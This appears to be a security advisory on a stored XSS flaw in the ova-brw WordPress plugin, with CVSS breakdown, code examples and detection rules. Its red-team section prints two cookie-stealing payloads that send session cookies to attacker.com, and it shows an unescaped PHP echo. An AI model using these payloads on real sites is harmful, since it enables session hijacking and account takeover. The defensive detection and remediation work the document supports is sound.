CVE-2025-49314

Executive Summary

CVE-2025-49314 is a Stored Cross-Site Scripting (XSS) vulnerability in the BRW (ova-brw) WordPress plugin developed by Ovatheme. The flaw exists in versions up to and including 1.8.6, where user-supplied input is not properly neutralized during web page generation. This allows an authenticated attacker with contributor-level privileges or higher to inject malicious scripts that are stored on the server and executed in the browsers of other users (including administrators) when they view the affected page.

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). With a CVSS score of 6.5 (Medium), the risk is elevated due to the potential for session hijacking, credential theft, and defacement within the WordPress ecosystem. No public exploit code or proof-of-concept (PoC) is currently available, but the attack vector is well-understood and can be weaponized with standard XSS techniques.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and potentially through third-party marketplaces. Organizations using the BRW plugin should treat this as a supply chain risk, as the plugin is a direct dependency of the WordPress site. No known malicious packages or backdoors have been identified in the plugin’s distribution channels, but the lack of a patch increases the risk of exploitation.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs contributor-level access or higher.
• User Interaction (UI): Required (R) – The victim must visit the compromised page.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. While the CVSS score is 6.5, the potential for privilege escalation (e.g., admin session hijacking) raises the practical risk. The lack of a patch and the widespread use of WordPress plugins make this a target for automated scanning.

Deep Dive & Mechanics

The vulnerability resides in the ova-brw plugin’s handling of user input, likely in custom post types, shortcodes, or AJAX endpoints. The plugin fails to sanitize or escape input before storing it in the database and later rendering it in the browser. This is a classic Stored XSS scenario:

1. Input Vector: An attacker with contributor-level access submits a post, comment, or custom field containing malicious JavaScript (e.g., <script>alert('XSS')</script>).
2. Storage: The plugin stores the unsanitized input in the WordPress database (e.g., wp_postmeta or custom tables).
3. Execution: When an administrator or other user views the page (e.g., the BRW booking interface or admin dashboard), the malicious script is rendered and executed in their browser.

The attack can be used to:

• Steal session cookies (if HttpOnly flag is missing).
• Perform actions on behalf of the victim (e.g., create admin accounts).
• Deface the site or redirect users to malicious domains.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is inferred from common WordPress plugin XSS flaws.

Vulnerable Code (PHP):

// In a template or shortcode handler
echo '<div class="brw-field">' . $user_input . '</div>';

Patched Code (PHP):

// Properly escape output
echo '<div class="brw-field">' . esc_html( $user_input ) . '</div>';

The fix involves using WordPress’s built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post() depending on the context. The plugin should also validate input on the server side using sanitize_text_field() or similar.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress instance with BRW plugin version <= 1.8.6.
• A contributor-level account (or higher).

Steps:

1. Log in as a contributor.
2. Navigate to a page or post that uses the BRW plugin’s input fields (e.g., booking form, custom meta box).
3. Inject the following payload into a text field:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Submit the form.
5. Wait for an administrator to view the affected page. The script will execute, sending the admin’s session cookie to the attacker’s server.

Alternative Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team (Detection & Response)

Detection Steps:

1. Monitor WordPress admin logs for unusual post submissions from low-privilege users.
2. Scan the database for <script> tags in fields related to the BRW plugin:

   SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script>%';
   

3. Use a Web Application Firewall (WAF) to block common XSS patterns (e.g., <script>, onerror=).

Mitigation:

• Disable the BRW plugin until a patch is released.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Restrict contributor-level permissions to trusted users only.

Indicators of Compromise (IOCs)

• File System: Modified plugin files (e.g., wp-content/plugins/ova-brw/) containing injected JavaScript.
• Database: Entries in wp_posts, wp_postmeta, or custom tables with <script> tags or event handlers (e.g., onload, onerror).
• Network: Outbound HTTP requests to unknown domains from the WordPress server (e.g., GET /steal?cookie=...).
• Logs: Unusual 404 errors or POST requests to plugin AJAX endpoints from contributor accounts.

Detection Engineering

YARA Rule

rule CVE_2025_49314_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in BRW plugin database entries"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49314"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-49314 Stored XSS in BRW Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in WordPress BRW plugin
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url|contains: '/wp-admin/admin-ajax.php'
        http.body|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-49314 Stored XSS in BRW Plugin"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the BRW plugin until a patched version is released.
2. Audit the database for existing XSS payloads using the SQL query in the Blue Team section.
3. Reset all user sessions to invalidate any stolen cookies.

Long-Term Fixes:

• Apply input validation and output escaping in all plugin fields.
• Use WordPress’s wp_kses() for rich text fields.
• Implement a Web Application Firewall (WAF) with XSS rules.
• Monitor the Ovatheme website for patch announcements.

Workaround:

• If the plugin is critical, restrict its usage to trusted administrators only and disable user registration.

Valters IT